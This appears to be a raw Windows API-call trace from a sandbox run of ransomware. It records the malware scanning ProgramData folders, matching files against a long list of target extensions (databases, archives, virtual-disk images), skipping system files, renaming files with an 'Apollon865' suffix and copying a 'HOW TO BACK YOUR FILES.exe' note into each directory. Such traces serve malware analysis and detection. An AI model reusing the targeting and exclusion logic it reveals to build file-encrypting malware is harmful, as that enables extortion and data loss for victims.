	[0051.108] lstrlenW (lpString="dbf") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0051.108] lstrlenW (lpString="mdf") returned 3
	[0051.109] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0051.109] lstrlenW (lpString="mdb") returned 3
	[0051.109] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0051.109] lstrlenW (lpString="sql") returned 3
	[0051.109] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0051.109] lstrlenW (lpString="sqlite") returned 6
	[0051.109] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1
	[0051.109] lstrlenW (lpString="sqlite3") returned 7
	[0051.109] lstrcmpiW (lpString1="rce.xml", lpString2="sqlite3") returned -1
	[0051.109] lstrlenW (lpString="sqlitedb") returned 8
	[0051.109] lstrcmpiW (lpString1="urce.xml", lpString2="sqlitedb") returned 1
	[0051.109] lstrlenW (lpString="xml") returned 3
	[0051.109] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0051.109] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.Apollon865") returned 111
	[0051.109] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.109] GetLastError () returned 0x5
	[0051.109] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 129
	[0051.109] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 129
	[0051.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.110] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1920
	[0051.110] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x81, lpOverlapped=0x0) returned 1
	[0051.110] CloseHandle (hObject=0x14c) returned 1
	[0051.110] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.110] CloseHandle (hObject=0x0) returned 0
	[0051.110] CloseHandle (hObject=0x0) returned 0
	[0051.110] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0051.110] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.110] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0051.110] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0051.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0051.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0051.110] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 44
	[0051.110] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0051.110] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.110] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.111] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.111] GetLastError () returned 0x0
	[0051.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.111] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.111] CloseHandle (hObject=0x15c) returned 1
	[0051.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.112] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.112] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.112] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.112] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.112] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.112] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.112] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.112] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.112] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.112] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.112] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fe8d810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.112] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.112] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Apollon865.txt.exe") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2=".") returned 1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="..") returned 1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="windows") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="bootmgr") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="temp") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="pagefile.sys") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="boot") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="ids.txt") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="ntuser.dat") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="perflogs") returned -1
	[0051.112] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="MSBuild") returned -1
	[0051.113] lstrlenW (lpString="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 38
	[0051.113] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned 46
	[0051.113] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0051.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0051.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5c8f30
	[0051.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0051.113] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Apollon865.txt.exe") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2=".") returned 1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="..") returned 1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="windows") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="bootmgr") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="temp") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="pagefile.sys") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="boot") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="ids.txt") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="ntuser.dat") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="perflogs") returned -1
	[0051.113] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="MSBuild") returned -1
	[0051.113] lstrlenW (lpString="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 38
	[0051.113] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0051.113] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0051.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x599450
	[0051.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.113] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0051.113] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.113] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0051.113] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0051.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0051.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.114] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 83
	[0051.114] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0051.114] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.114] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.114] GetLastError () returned 0x0
	[0051.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.114] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.114] CloseHandle (hObject=0x15c) returned 1
	[0051.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.114] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.114] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.115] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.115] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.115] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.115] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.115] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.115] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.115] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.115] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.115] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="temp") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="pagefile.sys") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="boot") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="ids.txt") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="perflogs") returned -1
	[0051.115] lstrcmpiW (lpString1="background.png", lpString2="MSBuild") returned -1
	[0051.115] lstrlenW (lpString="background.png") returned 14
	[0051.115] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned 85
	[0051.115] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0051.115] lstrlenW (lpString="background.png") returned 14
	[0051.115] lstrlenW (lpString="Apollon865") returned 10
	[0051.115] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0051.115] lstrlenW (lpString=".dll") returned 4
	[0051.116] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0051.116] lstrlenW (lpString=".lnk") returned 4
	[0051.116] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0051.116] lstrlenW (lpString=".ini") returned 4
	[0051.116] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0051.116] lstrlenW (lpString=".sys") returned 4
	[0051.116] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0051.116] lstrlenW (lpString="background.png") returned 14
	[0051.116] lstrlenW (lpString="bak") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0051.116] lstrlenW (lpString="ba_") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0051.116] lstrlenW (lpString="dbb") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0051.116] lstrlenW (lpString="vmdk") returned 4
	[0051.116] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0051.116] lstrlenW (lpString="rar") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0051.116] lstrlenW (lpString="zip") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0051.116] lstrlenW (lpString="tgz") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0051.116] lstrlenW (lpString="vbox") returned 4
	[0051.116] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0051.116] lstrlenW (lpString="vdi") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0051.116] lstrlenW (lpString="vhd") returned 3
	[0051.116] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0051.116] lstrlenW (lpString="vhdx") returned 4
	[0051.116] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0051.116] lstrlenW (lpString="avhd") returned 4
	[0051.116] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0051.116] lstrlenW (lpString="db") returned 2
	[0051.116] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0051.117] lstrlenW (lpString="db2") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0051.117] lstrlenW (lpString="db3") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0051.117] lstrlenW (lpString="dbf") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0051.117] lstrlenW (lpString="mdf") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0051.117] lstrlenW (lpString="mdb") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0051.117] lstrlenW (lpString="sql") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0051.117] lstrlenW (lpString="sqlite") returned 6
	[0051.117] lstrcmpiW (lpString1="nd.png", lpString2="sqlite") returned -1
	[0051.117] lstrlenW (lpString="sqlite3") returned 7
	[0051.117] lstrcmpiW (lpString1="und.png", lpString2="sqlite3") returned 1
	[0051.117] lstrlenW (lpString="sqlitedb") returned 8
	[0051.117] lstrcmpiW (lpString1="ound.png", lpString2="sqlitedb") returned -1
	[0051.117] lstrlenW (lpString="xml") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0051.117] lstrlenW (lpString="$er") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0051.117] lstrlenW (lpString="4dd") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0051.117] lstrlenW (lpString="4dl") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0051.117] lstrlenW (lpString="^^^") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0051.117] lstrlenW (lpString="abs") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0051.117] lstrlenW (lpString="abx") returned 3
	[0051.117] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0051.117] lstrlenW (lpString="accdb") returned 5
	[0051.117] lstrcmpiW (lpString1="d.png", lpString2="accdb") returned 1
	[0051.118] lstrlenW (lpString="accdc") returned 5
	[0051.118] lstrcmpiW (lpString1="d.png", lpString2="accdc") returned 1
	[0051.118] lstrlenW (lpString="accde") returned 5
	[0051.118] lstrcmpiW (lpString1="d.png", lpString2="accde") returned 1
	[0051.118] lstrlenW (lpString="accdr") returned 5
	[0051.118] lstrcmpiW (lpString1="d.png", lpString2="accdr") returned 1
	[0051.118] lstrlenW (lpString="accdt") returned 5
	[0051.118] lstrcmpiW (lpString1="d.png", lpString2="accdt") returned 1
	[0051.118] lstrlenW (lpString="accdw") returned 5
	[0051.118] lstrcmpiW (lpString1="d.png", lpString2="accdw") returned 1
	[0051.118] lstrlenW (lpString="accft") returned 5
	[0051.118] lstrcmpiW (lpString1="d.png", lpString2="accft") returned 1
